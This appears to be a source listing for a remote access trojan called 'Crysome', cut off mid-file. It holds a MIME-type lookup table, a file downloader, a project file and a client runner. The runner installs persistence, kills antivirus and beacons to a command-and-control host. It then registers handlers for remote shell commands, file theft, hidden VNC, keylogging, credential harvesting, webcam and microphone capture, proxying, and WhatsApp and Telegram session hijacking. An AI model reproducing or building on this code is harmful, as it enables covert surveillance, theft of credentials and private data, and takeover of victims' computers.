{ ".m3u", "audio/x-mpegurl" },
{ ".m3u8", "audio/x-mpegurl" },
{ ".m4a", "audio/m4a" },
{ ".m4b", "audio/m4b" },
{ ".m4p", "audio/m4p" },
{ ".m4r", "audio/x-m4r" },
{ ".m4v", "video/x-m4v" },
{ ".mac", "image/x-macpaint" },
{ ".mak", "text/plain" },
{ ".man", "application/x-troff-man" },
{ ".manifest", "application/x-ms-manifest" },
{ ".map", "text/plain" },
{ ".master", "application/xml" },
{ ".mbox", "application/mbox" },
{ ".mda", "application/msaccess" },
{ ".mdb", "application/x-msaccess" },
{ ".mde", "application/msaccess" },
{ ".mdp", "application/octet-stream" },
{ ".me", "application/x-troff-me" },
{ ".mfp", "application/x-shockwave-flash" },
{ ".mht", "message/rfc822" },
{ ".mhtml", "message/rfc822" },
{ ".mid", "audio/mid" },
{ ".midi", "audio/mid" },
{ ".mix", "application/octet-stream" },
{ ".mk", "text/plain" },
{ ".mmf", "application/x-smaf" },
{ ".mno", "text/xml" },
{ ".mny", "application/x-msmoney" },
{ ".mod", "video/mpeg" },
{ ".mov", "video/quicktime" },
{ ".movie", "video/x-sgi-movie" },
{ ".mp2", "video/mpeg" },
{ ".mp2v", "video/mpeg" },
{ ".mp3", "audio/mpeg" },
{ ".mp4", "video/mp4" },
{ ".mp4v", "video/mp4" },
{ ".mpa", "video/mpeg" },
{ ".mpe", "video/mpeg" },
{ ".mpeg", "video/mpeg" },
{ ".mpf", "application/vnd.ms-mediapackage" },
{ ".mpg", "video/mpeg" },
{ ".mpp", "application/vnd.ms-project" },
{ ".mpv2", "video/mpeg" },
{ ".mqv", "video/quicktime" },
{ ".ms", "application/x-troff-ms" },
{ ".msg", "application/vnd.ms-outlook" },
{ ".msi", "application/octet-stream" },
{ ".mso", "application/octet-stream" },
{ ".mts", "video/vnd.dlna.mpeg-tts" },
{ ".mtx", "application/xml" },
{ ".mvb", "application/x-msmediaview" },
{ ".mvc", "application/x-miva-compiled" },
{ ".mxp", "application/x-mmxp" },
{ ".nc", "application/x-netcdf" },
{ ".nsc", "video/x-ms-asf" },
{ ".nws", "message/rfc822" },
{ ".ocx", "application/octet-stream" },
{ ".oda", "application/oda" },
{ ".odb", "application/vnd.oasis.opendocument.database" },
{ ".odc", "application/vnd.oasis.opendocument.chart" },
{ ".odf", "application/vnd.oasis.opendocument.formula" },
{ ".odg", "application/vnd.oasis.opendocument.graphics" },
{ ".odh", "text/plain" },
{ ".odi", "application/vnd.oasis.opendocument.image" },
{ ".odl", "text/plain" },
{ ".odm", "application/vnd.oasis.opendocument.text-master" },
{ ".odp", "application/vnd.oasis.opendocument.presentation" },
{ ".ods", "application/vnd.oasis.opendocument.spreadsheet" },
{ ".odt", "application/vnd.oasis.opendocument.text" },
{ ".oga", "audio/ogg" },
{ ".ogg", "audio/ogg" },
{ ".ogv", "video/ogg" },
{ ".ogx", "application/ogg" },
{ ".one", "application/onenote" },
{ ".onea", "application/onenote" },
{ ".onepkg", "application/onenote" },
{ ".onetmp", "application/onenote" },
{ ".onetoc", "application/onenote" },
{ ".onetoc2", "application/onenote" },
{ ".opus", "audio/ogg" },
{ ".orderedtest", "application/xml" },
{ ".osdx", "application/opensearchdescription+xml" },
{ ".otf", "application/font-sfnt" },
{ ".otg", "application/vnd.oasis.opendocument.graphics-template" },
{ ".oth", "application/vnd.oasis.opendocument.text-web" },
{ ".otp", "application/vnd.oasis.opendocument.presentation-template" },
{ ".ots", "application/vnd.oasis.opendocument.spreadsheet-template" },
{ ".ott", "application/vnd.oasis.opendocument.text-template" },
{ ".oxt", "application/vnd.openofficeorg.extension" },
{ ".p10", "application/pkcs10" },
{ ".p12", "application/x-pkcs12" },
{ ".p7b", "application/x-pkcs7-certificates" },
{ ".p7c", "application/pkcs7-mime" },
{ ".p7m", "application/pkcs7-mime" },
{ ".p7r", "application/x-pkcs7-certreqresp" },
{ ".p7s", "application/pkcs7-signature" },
{ ".pbm", "image/x-portable-bitmap" },
{ ".pcast", "application/x-podcast" },
{ ".pct", "image/pict" },
{ ".pcx", "application/octet-stream" },
{ ".pcz", "application/octet-stream" },
{ ".pdf", "application/pdf" },
{ ".pfb", "application/octet-stream" },
{ ".pfm", "application/octet-stream" },
{ ".pfx", "application/x-pkcs12" },
{ ".pgm", "image/x-portable-graymap" },
{ ".pic", "image/pict" },
{ ".pict", "image/pict" },
{ ".pkgdef", "text/plain" },
{ ".pkgundef", "text/plain" },
{ ".pko", "application/vnd.ms-pki.pko" },
{ ".pls", "audio/scpls" },
{ ".pma", "application/x-perfmon" },
{ ".pmc", "application/x-perfmon" },
{ ".pml", "application/x-perfmon" },
{ ".pmr", "application/x-perfmon" },
{ ".pmw", "application/x-perfmon" },
{ ".png", "image/png" },
{ ".pnm", "image/x-portable-anymap" },
{ ".pnt", "image/x-macpaint" },
{ ".pntg", "image/x-macpaint" },
{ ".pnz", "image/png" },
{ ".pot", "application/vnd.ms-powerpoint" },
{ ".potm", "application/vnd.ms-powerpoint.template.macroEnabled.12" },
{ ".potx", "application/vnd.openxmlformats-officedocument.presentationml.template" },
{ ".ppa", "application/vnd.ms-powerpoint" },
{ ".ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12" },
{ ".ppm", "image/x-portable-pixmap" },
{ ".pps", "application/vnd.ms-powerpoint" },
{ ".ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12" },
{ ".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow" },
{ ".ppt", "application/vnd.ms-powerpoint" },
{ ".pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12" },
{ ".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation" },
{ ".prf", "application/pics-rules" },
{ ".prm", "application/octet-stream" },
{ ".prx", "application/octet-stream" },
{ ".ps", "application/postscript" },
{ ".psc1", "application/PowerShell" },
{ ".psd", "application/octet-stream" },
{ ".psess", "application/xml" },
{ ".psm", "application/octet-stream" },
{ ".psp", "application/octet-stream" },
{ ".pst", "application/vnd.ms-outlook" },
{ ".pub", "application/x-mspublisher" },
{ ".pwz", "application/vnd.ms-powerpoint" },
{ ".qht", "text/x-html-insertion" },
{ ".qhtm", "text/x-html-insertion" },
{ ".qt", "video/quicktime" },
{ ".qti", "image/x-quicktime" },
{ ".qtif", "image/x-quicktime" },
{ ".qtl", "application/x-quicktimeplayer" },
{ ".qxd", "application/octet-stream" },
{ ".ra", "audio/x-pn-realaudio" },
{ ".ram", "audio/x-pn-realaudio" },
{ ".rar", "application/x-rar-compressed" },
{ ".ras", "image/x-cmu-raster" },
{ ".rat", "application/rat-file" },
{ ".rc", "text/plain" },
{ ".rc2", "text/plain" },
{ ".rct", "text/plain" },
{ ".rdlc", "application/xml" },
{ ".reg", "text/plain" },
{ ".resx", "application/xml" },
{ ".rf", "image/vnd.rn-realflash" },
{ ".rgb", "image/x-rgb" },
{ ".rgs", "text/plain" },
{ ".rm", "application/vnd.rn-realmedia" },
{ ".rmi", "audio/mid" },
{ ".rmp", "application/vnd.rn-rn_music_package" },
{ ".roff", "application/x-troff" },
{ ".rpm", "audio/x-pn-realaudio-plugin" },
{ ".rqy", "text/x-ms-rqy" },
{ ".rtf", "application/rtf" },
{ ".rtx", "text/richtext" },
{ ".rvt", "application/octet-stream" },
{ ".ruleset", "application/xml" },
{ ".s", "text/plain" },
{ ".safariextz", "application/x-safari-safariextz" },
{ ".scd", "application/x-msschedule" },
{ ".scr", "text/plain" },
{ ".sct", "text/scriptlet" },
{ ".sd2", "audio/x-sd2" },
{ ".sdp", "application/sdp" },
{ ".sea", "application/octet-stream" },
{ ".searchConnector-ms", "application/windows-search-connector+xml" },
{ ".setpay", "application/set-payment-initiation" },
{ ".setreg", "application/set-registration-initiation" },
{ ".settings", "application/xml" },
{ ".sgimb", "application/x-sgimb" },
{ ".sgml", "text/sgml" },
{ ".sh", "application/x-sh" },
{ ".shar", "application/x-shar" },
{ ".shtml", "text/html" },
{ ".sit", "application/x-stuffit" },
{ ".sitemap", "application/xml" },
{ ".skin", "application/xml" },
{ ".skp", "application/x-koan" },
{ ".sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12" },
{ ".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide" },
{ ".slk", "application/vnd.ms-excel" },
{ ".sln", "text/plain" },
{ ".slupkg-ms", "application/x-ms-license" },
{ ".smd", "audio/x-smd" },
{ ".smi", "application/octet-stream" },
{ ".smx", "audio/x-smd" },
{ ".smz", "audio/x-smd" },
{ ".snd", "audio/basic" },
{ ".snippet", "application/xml" },
{ ".snp", "application/octet-stream" },
{ ".sol", "text/plain" },
{ ".sor", "text/plain" },
{ ".spc", "application/x-pkcs7-certificates" },
{ ".spl", "application/futuresplash" },
{ ".spx", "audio/ogg" },
{ ".src", "application/x-wais-source" },
{ ".srf", "text/plain" },
{ ".SSISDeploymentManifest", "text/xml" },
{ ".ssm", "application/streamingmedia" },
{ ".sst", "application/vnd.ms-pki.certstore" },
{ ".stl", "application/vnd.ms-pki.stl" },
{ ".sv4cpio", "application/x-sv4cpio" },
{ ".sv4crc", "application/x-sv4crc" },
{ ".svc", "application/xml" },
{ ".svg", "image/svg+xml" },
{ ".swf", "application/x-shockwave-flash" },
{ ".step", "application/step" },
{ ".stp", "application/step" },
{ ".t", "application/x-troff" },
{ ".tar", "application/x-tar" },
{ ".tcl", "application/x-tcl" },
{ ".testrunconfig", "application/xml" },
{ ".testsettings", "application/xml" },
{ ".tex", "application/x-tex" },
{ ".texi", "application/x-texinfo" },
{ ".texinfo", "application/x-texinfo" },
{ ".tgz", "application/x-compressed" },
{ ".thmx", "application/vnd.ms-officetheme" },
{ ".thn", "application/octet-stream" },
{ ".tif", "image/tiff" },
{ ".tiff", "image/tiff" },
{ ".tlh", "text/plain" },
{ ".tli", "text/plain" },
{ ".toc", "application/octet-stream" },
{ ".tr", "application/x-troff" },
{ ".trm", "application/x-msterminal" },
{ ".trx", "application/xml" },
{ ".ts", "video/vnd.dlna.mpeg-tts" },
{ ".tsv", "text/tab-separated-values" },
{ ".ttf", "application/font-sfnt" },
{ ".tts", "video/vnd.dlna.mpeg-tts" },
{ ".txt", "text/plain" },
{ ".u32", "application/octet-stream" },
{ ".uls", "text/iuls" },
{ ".user", "text/plain" },
{ ".ustar", "application/x-ustar" },
{ ".vb", "text/plain" },
{ ".vbdproj", "text/plain" },
{ ".vbk", "video/mpeg" },
{ ".vbproj", "text/plain" },
{ ".vbs", "text/vbscript" },
{ ".vcf", "text/x-vcard" },
{ ".vcproj", "application/xml" },
{ ".vcs", "text/plain" },
{ ".vcxproj", "application/xml" },
{ ".vddproj", "text/plain" },
{ ".vdp", "text/plain" },
{ ".vdproj", "text/plain" },
{ ".vdx", "application/vnd.ms-visio.viewer" },
{ ".vml", "text/xml" },
{ ".vscontent", "application/xml" },
{ ".vsct", "text/xml" },
{ ".vsd", "application/vnd.visio" },
{ ".vsi", "application/ms-vsi" },
{ ".vsix", "application/vsix" },
{ ".vsixlangpack", "text/xml" },
{ ".vsixmanifest", "text/xml" },
{ ".vsmdi", "application/xml" },
{ ".vspscc", "text/plain" },
{ ".vss", "application/vnd.visio" },
{ ".vsscc", "text/plain" },
{ ".vssettings", "text/xml" },
{ ".vssscc", "text/plain" },
{ ".vst", "application/vnd.visio" },
{ ".vstemplate", "text/xml" },
{ ".vsto", "application/x-ms-vsto" },
{ ".vsw", "application/vnd.visio" },
{ ".vsx", "application/vnd.visio" },
{ ".vtx", "application/vnd.visio" },
{ ".wav", "audio/wav" },
{ ".wave", "audio/wav" },
{ ".wax", "audio/x-ms-wax" },
{ ".wbk", "application/msword" },
{ ".wbmp", "image/vnd.wap.wbmp" },
{ ".wcm", "application/vnd.ms-works" },
{ ".wdb", "application/vnd.ms-works" },
{ ".wdp", "image/vnd.ms-photo" },
{ ".webarchive", "application/x-safari-webarchive" },
{ ".webm", "video/webm" },
{ ".webp", "image/webp" },
{ ".webtest", "application/xml" },
{ ".wiq", "application/xml" },
{ ".wiz", "application/msword" },
{ ".wks", "application/vnd.ms-works" },
{ ".WLMP", "application/wlmoviemaker" },
{ ".wlpginstall", "application/x-wlpg-detect" },
{ ".wlpginstall3", "application/x-wlpg3-detect" },
{ ".wm", "video/x-ms-wm" },
{ ".wma", "audio/x-ms-wma" },
{ ".wmd", "application/x-ms-wmd" },
{ ".wmf", "application/x-msmetafile" },
{ ".wml", "text/vnd.wap.wml" },
{ ".wmlc", "application/vnd.wap.wmlc" },
{ ".wmls", "text/vnd.wap.wmlscript" },
{ ".wmlsc", "application/vnd.wap.wmlscriptc" },
{ ".wmp", "video/x-ms-wmp" },
{ ".wmv", "video/x-ms-wmv" },
{ ".wmx", "video/x-ms-wmx" },
{ ".wmz", "application/x-ms-wmz" },
{ ".woff", "application/font-woff" },
{ ".wpl", "application/vnd.ms-wpl" },
{ ".wps", "application/vnd.ms-works" },
{ ".wri", "application/x-mswrite" },
{ ".wrl", "x-world/x-vrml" },
{ ".wrz", "x-world/x-vrml" },
{ ".wsc", "text/scriptlet" },
{ ".wsdl", "text/xml" },
{ ".wvx", "video/x-ms-wvx" },
{ ".x", "application/directx" },
{ ".xaf", "x-world/x-vrml" },
{ ".xaml", "application/xaml+xml" },
{ ".xap", "application/x-silverlight-app" },
{ ".xbap", "application/x-ms-xbap" },
{ ".xbm", "image/x-xbitmap" },
{ ".xdr", "text/plain" },
{ ".xht", "application/xhtml+xml" },
{ ".xhtml", "application/xhtml+xml" },
{ ".xla", "application/vnd.ms-excel" },
{ ".xlam", "application/vnd.ms-excel.addin.macroEnabled.12" },
{ ".xlc", "application/vnd.ms-excel" },
{ ".xld", "application/vnd.ms-excel" },
{ ".xlk", "application/vnd.ms-excel" },
{ ".xll", "application/vnd.ms-excel" },
{ ".xlm", "application/vnd.ms-excel" },
{ ".xls", "application/vnd.ms-excel" },
{ ".xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12" },
{ ".xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12" },
{ ".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" },
{ ".xlt", "application/vnd.ms-excel" },
{ ".xltm", "application/vnd.ms-excel.template.macroEnabled.12" },
{ ".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template" },
{ ".xlw", "application/vnd.ms-excel" },
{ ".xml", "text/xml" },
{ ".xmp", "application/octet-stream" },
{ ".xmta", "application/xml" },
{ ".xof", "x-world/x-vrml" },
{ ".XOML", "text/plain" },
{ ".xpm", "image/x-xpixmap" },
{ ".xps", "application/vnd.ms-xpsdocument" },
{ ".xrm-ms", "text/xml" },
{ ".xsc", "application/xml" },
{ ".xsd", "text/xml" },
{ ".xsf", "text/xml" },
{ ".xsl", "text/xml" },
{ ".xslt", "text/xml" },
{ ".xsn", "application/octet-stream" },
{ ".xss", "application/xml" },
{ ".xspf", "application/xspf+xml" },
{ ".xtp", "application/octet-stream" },
{ ".xwd", "image/x-xwindowdump" },
{ ".z", "application/x-compress" },
{ ".zip", "application/zip" },
{ "application/fsharp-script", ".fsx" },
{ "application/msaccess", ".adp" },
{ "application/msword", ".doc" },
{ "application/octet-stream", ".bin" },
{ "application/onenote", ".one" },
{ "application/postscript", ".eps" },
{ "application/step", ".step" },
{ "application/vnd.ms-excel", ".xls" },
{ "application/vnd.ms-powerpoint", ".ppt" },
{ "application/vnd.ms-works", ".wks" },
{ "application/vnd.visio", ".vsd" },
{ "application/x-director", ".dir" },
{ "application/x-shockwave-flash", ".swf" },
{ "application/x-x509-ca-cert", ".cer" },
{ "application/x-zip-compressed", ".zip" },
{ "application/xhtml+xml", ".xhtml" },
{ "application/xml", ".xml" },
{ "audio/aac", ".AAC" },
{ "audio/aiff", ".aiff" },
{ "audio/basic", ".snd" },
{ "audio/mid", ".midi" },
{ "audio/wav", ".wav" },
{ "audio/x-m4a", ".m4a" },
{ "audio/x-mpegurl", ".m3u" },
{ "audio/x-pn-realaudio", ".ra" },
{ "audio/x-smd", ".smd" },
{ "image/bmp", ".bmp" },
{ "image/jpeg", ".jpg" },
{ "image/pict", ".pic" },
{ "image/png", ".png" },
{ "image/tiff", ".tiff" },
{ "image/x-macpaint", ".mac" },
{ "image/x-quicktime", ".qti" },
{ "message/rfc822", ".eml" },
{ "text/html", ".html" },
{ "text/plain", ".txt" },
{ "text/scriptlet", ".wsc" },
{ "text/xml", ".xml" },
{ "video/3gpp", ".3gp" },
{ "video/3gpp2", ".3gp2" },
{ "video/mp4", ".mp4" },
{ "video/mpeg", ".mpg" },
{ "video/quicktime", ".mov" },
{ "video/vnd.dlna.mpeg-tts", ".m2t" },
{ "video/x-dv", ".dv" },
{ "video/x-la-asf", ".lsf" },
{ "video/x-ms-asf", ".asf" },
{ "x-world/x-vrml", ".xof" }
};
foreach (KeyValuePair<string, string> item in dictionary.ToList())
{
if (!dictionary.ContainsKey(item.Value))
{
dictionary.Add(item.Value, item.Key);
}
}
return dictionary;
}
public static string GetMimeType(string extension)
{
if (extension == null)
{
throw new ArgumentNullException("extension");
}
if (!extension.StartsWith("."))
{
extension = "." + extension;
}
if (!mappings.Value.TryGetValue(extension, out var value))
{
return "application/octet-stream";
}
return value;
}
public static string GetExtension(string mimeType)
{
return GetExtension(mimeType, throwErrorIfNotFound: true);
}
public static string GetExtension(string mimeType, bool throwErrorIfNotFound)
{
if (mimeType == null)
{
throw new ArgumentNullException("mimeType");
}
if (mimeType.StartsWith("."))
{
throw new ArgumentException("Requested mime type is not valid: " + mimeType);
}
if (mappings.Value.TryGetValue(mimeType, out var value))
{
return value;
}
if (throwErrorIfNotFound)
{
throw new ArgumentException("Requested mime type is not registered: " + mimeType);
}
return string.Empty;
}
}
Crysome.Client/Crysome.Client.Web/WebFileDownloader.cs
+54
View File
@@ -0,0 +1,54 @@
using System;
using System.IO;
using System.Net.Http;
namespace Crysome.Client.Web;
public class WebFileDownloader
{
private readonly HttpClient httpClient;
public WebFileDownloader()
{
httpClient = new HttpClient();
}
public async void DownloadFile(string url)
{
HttpResponseMessage response = await httpClient.GetAsync(url);
if (!response.IsSuccessStatusCode)
{
return;
}
byte[] bytes = await response.Content.ReadAsByteArrayAsync();
string[] array = url.Split('/');
string text = array[array.Length - 1];
_ = string.Empty;
_ = string.Empty;
string text2;
if (text.Contains("."))
{
string[] array2 = text.Split('.');
text2 = array2[0];
if (array2[1].Contains("?"))
{
array2[1] = array2[1].Split('?')[0];
}
string text3 = array2[1];
text2 = text2 + "." + text3;
}
else
{
text2 = text;
}
if (response.Content.Headers.ContentDisposition != null)
{
text2 = response.Content.Headers.ContentDisposition.FileName;
}
if (response.Content.Headers.ContentType != null)
{
MimeTypeMap.GetExtension(response.Content.Headers.ContentType.MediaType);
}
File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, text2), bytes);
}
}
Crysome.Client/Crysome.Client.csproj
+38
View File
@@ -0,0 +1,38 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net472</TargetFramework>
<OutputType>WinExe</OutputType>
<UseWindowsForms>true</UseWindowsForms>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<OutputPath>..\CRYSOME_COMPILED\</OutputPath>
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<LangVersion>latest</LangVersion>
<PlatformTarget>x64</PlatformTarget>
<DebugType>none</DebugType>
<DebugSymbols>false</DebugSymbols>
</PropertyGroup>
<ItemGroup>
<ProjectReference Include="..\Crysome.Common.Client\Crysome.Common.Client.csproj" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Costura.Fody" Version="5.7.0" />
<PackageReference Include="Fody" Version="6.8.0">
<PrivateAssets>all</PrivateAssets>
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
</PackageReference>
<PackageReference Include="NAudio" Version="2.2.1" />
<PackageReference Include="AForge.Video" Version="2.2.5" />
<PackageReference Include="AForge.Video.DirectShow" Version="2.2.5" />
<PackageReference Include="System.Data.SQLite" Version="1.0.119" />
<PackageReference Include="SharpDX" Version="4.2.0" />
<PackageReference Include="SharpDX.DXGI" Version="4.2.0" />
<PackageReference Include="SharpDX.Direct3D11" Version="4.2.0" />
<PackageReference Include="libjpeg-turbo-net" Version="2.0.15" />
<PackageReference Include="libjpeg-turbo-native-win" Version="2.0.15" />
<PackageReference Include="System.Text.Json" Version="8.0.5" />
<Reference Include="System.Management" />
<None Include="turbojpeg.dll" CopyToOutputDirectory="PreserveNewest" Link="turbojpeg.dll" />
<EmbeddedResource Include="turbojpeg.dll" LogicalName="costura64.turbojpeg.dll" />
</ItemGroup>
</Project>
Crysome.Client/Crysome.Client/ClientRunner.cs
+289
View File
@@ -0,0 +1,289 @@
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Crysome.Client.Configuration;
using Crysome.Client.Handlers;
using Crysome.Client.Network;
using Crysome.Client.SystemInfo;
using Crysome.Common.Network;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client;
internal class ClientRunner
{
private CrysomeClient client;
private PacketChannel packetChannel;
private volatile bool running = true;
public void Run()
{
try
{
Persistence.Install();
}
catch (Exception ex)
{
Program.Log("Persistence skip: " + ex.Message);
}
if (ClientConfiguration.IsFeatureEnabled("survival"))
{
try
{
Survival.Install();
}
catch (Exception ex2)
{
Program.Log("Survival skip: " + ex2.Message);
}
}
if (ClientConfiguration.IsFeatureEnabled("avkill"))
{
try
{
AVKiller.Start();
}
catch (Exception ex3)
{
Program.Log("AVKiller skip: " + ex3.Message);
}
}
packetChannel = new PacketChannel();
RegisterHandlers();
Program.Log("Handlers registered. Entering connect loop...");
while (running)
{
try
{
Program.Log("Connecting to " + ClientConfiguration.Host + ":" + ClientConfiguration.Port);
Connect();
Program.Log("Connected!");
ReadLoop();
Program.Log("Disconnected, retry in 5s...");
}
catch (Exception ex4)
{
Program.Log("Loop error: " + ex4.Message);
}
Thread.Sleep(5000);
}
}
private void RegisterHandlers()
{
packetChannel.RegisterHandler<ClientInfoRequestPacket>(SystemHandlers.HandleClientInfo);
packetChannel.RegisterHandler<GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo);
packetChannel.RegisterHandler<PingRequestPacket>(PingHandlers.HandlePing);
if (ClientConfiguration.IsFeatureEnabled("cmd"))
{
packetChannel.RegisterHandler<RunCommandRequestPacket>(CommandHandlers.HandleRunCommand);
}
if (ClientConfiguration.IsFeatureEnabled("direct"))
{
packetChannel.RegisterHandler<DirectLinkRequestPacket>(DirectLinkHandlers.HandleDirectLink);
}
if (ClientConfiguration.IsFeatureEnabled("file"))
{
packetChannel.RegisterHandler<FileTransferRequestPacket>(FileTransferHandlers.HandleFileTransfer);
packetChannel.RegisterHandler<FtStartPacket>(FileTransferHandlers.HandleFtStart);
packetChannel.RegisterHandler<FtChunkPacket>(FileTransferHandlers.HandleFtChunk);
packetChannel.RegisterHandler<FtAbortPacket>(FileTransferHandlers.HandleFtAbort);
}
if (ClientConfiguration.IsFeatureEnabled("screen"))
{
packetChannel.RegisterHandler<TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot);
}
if (ClientConfiguration.IsFeatureEnabled("restart"))
{
packetChannel.RegisterHandler<RestartRequestPacket>(SystemHandlers.HandleRestart);
}
if (ClientConfiguration.IsFeatureEnabled("filemgr"))
{
packetChannel.RegisterHandler<GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives);
packetChannel.RegisterHandler<GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory);
packetChannel.RegisterHandler<ReadFileRequestPacket>(FileHandlers.HandleReadFile);
packetChannel.RegisterHandler<WriteFileRequestPacket>(FileHandlers.HandleWriteFile);
packetChannel.RegisterHandler<DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile);
packetChannel.RegisterHandler<SendFileRequestPacket>(FileHandlers.HandleSendFile);
}
packetChannel.RegisterHandler<DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile);
if (ClientConfiguration.IsFeatureEnabled("proxy"))
{
packetChannel.RegisterHandler<StartProxyRequestPacket>(ProxyHandlers.HandleStartProxy);
packetChannel.RegisterHandler<StartReverseProxyPacket>(ProxyHandlers.HandleStartReverseProxy);
packetChannel.RegisterHandler<StopProxyRequestPacket>(ProxyHandlers.HandleStopProxy);
packetChannel.RegisterHandler<ReverseProxyStartPacket>(ProxyHandlers.HandleReverseProxyStart);
packetChannel.RegisterHandler<ReverseProxyDataPacket>(ProxyHandlers.HandleReverseProxyData);
packetChannel.RegisterHandler<ReverseProxyEndPacket>(ProxyHandlers.HandleReverseProxyEnd);
}
if (ClientConfiguration.IsFeatureEnabled("proc"))
{
packetChannel.RegisterHandler<GetProcessListRequestPacket>(ProcessHandlers.HandleGetProcessList);
packetChannel.RegisterHandler<KillProcessRequestPacket>(ProcessHandlers.HandleKillProcess);
}
if (ClientConfiguration.IsFeatureEnabled("audio"))
{
packetChannel.RegisterHandler<RequestAudioPacket>(AudioHandlers.HandleRequestAudio);
packetChannel.RegisterHandler<GetAudioDevicesPacket>(AudioHandlers.HandleGetAudioDevices);
packetChannel.RegisterHandler<StartAudioStreamPacket>(AudioHandlers.HandleStartAudioStream);
packetChannel.RegisterHandler<StopAudioStreamPacket>(AudioHandlers.HandleStopAudioStream);
}
if (ClientConfiguration.IsFeatureEnabled("cam"))
{
packetChannel.RegisterHandler<RequestCameraFramePacket>(CameraHandlers.HandleRequestCameraFrame);
packetChannel.RegisterHandler<GetCameraDevicesPacket>(CameraHandlers.HandleGetCameraDevices);
}
if (ClientConfiguration.IsFeatureEnabled("rdp"))
{
packetChannel.RegisterHandler<GetScreensRequestPacket>(RemoteDesktopHandlers.HandleGetScreens);
packetChannel.RegisterHandler<StartRemoteDesktopPacket>(RemoteDesktopHandlers.HandleStartRemoteDesktop);
packetChannel.RegisterHandler<StopRemoteDesktopPacket>(RemoteDesktopHandlers.HandleStopRemoteDesktop);
packetChannel.RegisterHandler<RemoteInputPacket>(RemoteDesktopHandlers.HandleRemoteInput);
packetChannel.RegisterHandler<RdpSetQualityPacket>(RemoteDesktopHandlers.HandleRdpSetQuality);
}
if (ClientConfiguration.IsFeatureEnabled("hvnc"))
{
packetChannel.RegisterHandler<StartHvncPacket>(HvncHandlers.HandleStartHvnc);
packetChannel.RegisterHandler<StopHvncPacket>(HvncHandlers.HandleStopHvnc);
packetChannel.RegisterHandler<HvncInputPacket>(HvncHandlers.HandleHvncInput);
packetChannel.RegisterHandler<HvncRunRequestPacket>(HvncHandlers.HandleHvncRunRequest);
}
if (ClientConfiguration.IsFeatureEnabled("cred"))
{
packetChannel.RegisterHandler<RequestCredentialsPacket>(CredentialsHandlers.HandleRequestCredentials);
}
if (ClientConfiguration.IsFeatureEnabled("keylog"))
{
packetChannel.RegisterHandler<StartKeyloggerPacket>(KeyloggerHandlers.HandleStartKeylogger);
packetChannel.RegisterHandler<StopKeyloggerPacket>(KeyloggerHandlers.HandleStopKeylogger);
}
if (ClientConfiguration.IsFeatureEnabled("chat"))
{
packetChannel.RegisterHandler<ChatMessagePacket>(ChatHandlers.HandleChatMessage);
}
packetChannel.RegisterHandler<WhatsAppSessionRequestPacket>(WhatsAppHandlers.HandleWhatsAppSessionRequest);
packetChannel.RegisterHandler<TelegramSessionRequestPacket>(TelegramHandlers.HandleTelegramSessionRequest);
}
private void Connect()
{
//IL_0078: Unknown result type (might be due to invalid IL or missing references)
//IL_0082: Expected O, but got Unknown
if (!IPAddress.TryParse(ClientConfiguration.Host, out var address))
{
Program.Log("Resolving: " + ClientConfiguration.Host);
IPHostEntry hostEntry = Dns.GetHostEntry(ClientConfiguration.Host);
if (hostEntry.AddressList.Length == 0)
{
throw new Exception("DNS failed for " + ClientConfiguration.Host);
}
address = hostEntry.AddressList[0];
Program.Log("Resolved to " + address);
}
while (running)
{
try
{
client = new CrysomeClient();
Program.Log("Connecting (RUDP / .NET Framework) to " + address?.ToString() + ":" + ClientConfiguration.Port + "...");
client.Connect(address, ClientConfiguration.Port);
if (client.IsConnected)
{
Program.Log("CONNECTED. Sending client info...");
SendClientInfo();
break;
}
}
catch (SocketException ex)
{
Program.Log("Socket: " + ex.SocketErrorCode.ToString() + " " + ex.Message);
}
catch (Exception ex2)
{
Program.Log("ConnErr: " + ex2.Message);
}
Program.Log("Retry in 10s...");
Thread.Sleep(10000);
}
}
private void SendClientInfo()
{
//IL_007c: Unknown result type (might be due to invalid IL or missing references)
//IL_0082: Expected O, but got Unknown
try
{
SystemInformation systemInformation = SystemInformation.Get();
ClientInfoResponsePacket val = new ClientInfoResponsePacket(ClientConfiguration.Identifier, client.RemoteAddress?.Address?.ToString() ?? "0.0.0.0", client.RemoteAddress?.Port ?? 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, "");
client.SendPacket((IPacket)(object)val);
Program.Log("Client info sent: " + systemInformation.UserName + " / " + systemInformation.OperatingSystem + " / " + systemInformation.CountryCode);
KeyloggerHandlers.UploadOfflineDataIfAny(client);
}
catch (Exception ex)
{
Program.Log("SendClientInfo error: " + ex.Message);
}
}
private static bool IsCamMicPacket(string name)
{
if (name != null)
{
if (!name.Contains("Camera") && !name.Contains("Audio"))
{
return name.Contains("Mic");
}
return true;
}
return false;
}
private void ReadLoop()
{
while (running && client.IsConnected)
{
try
{
IPacket val = client.ReadPacket();
string text = ((object)val)?.GetType().Name ?? "null";
if (IsCamMicPacket(text))
{
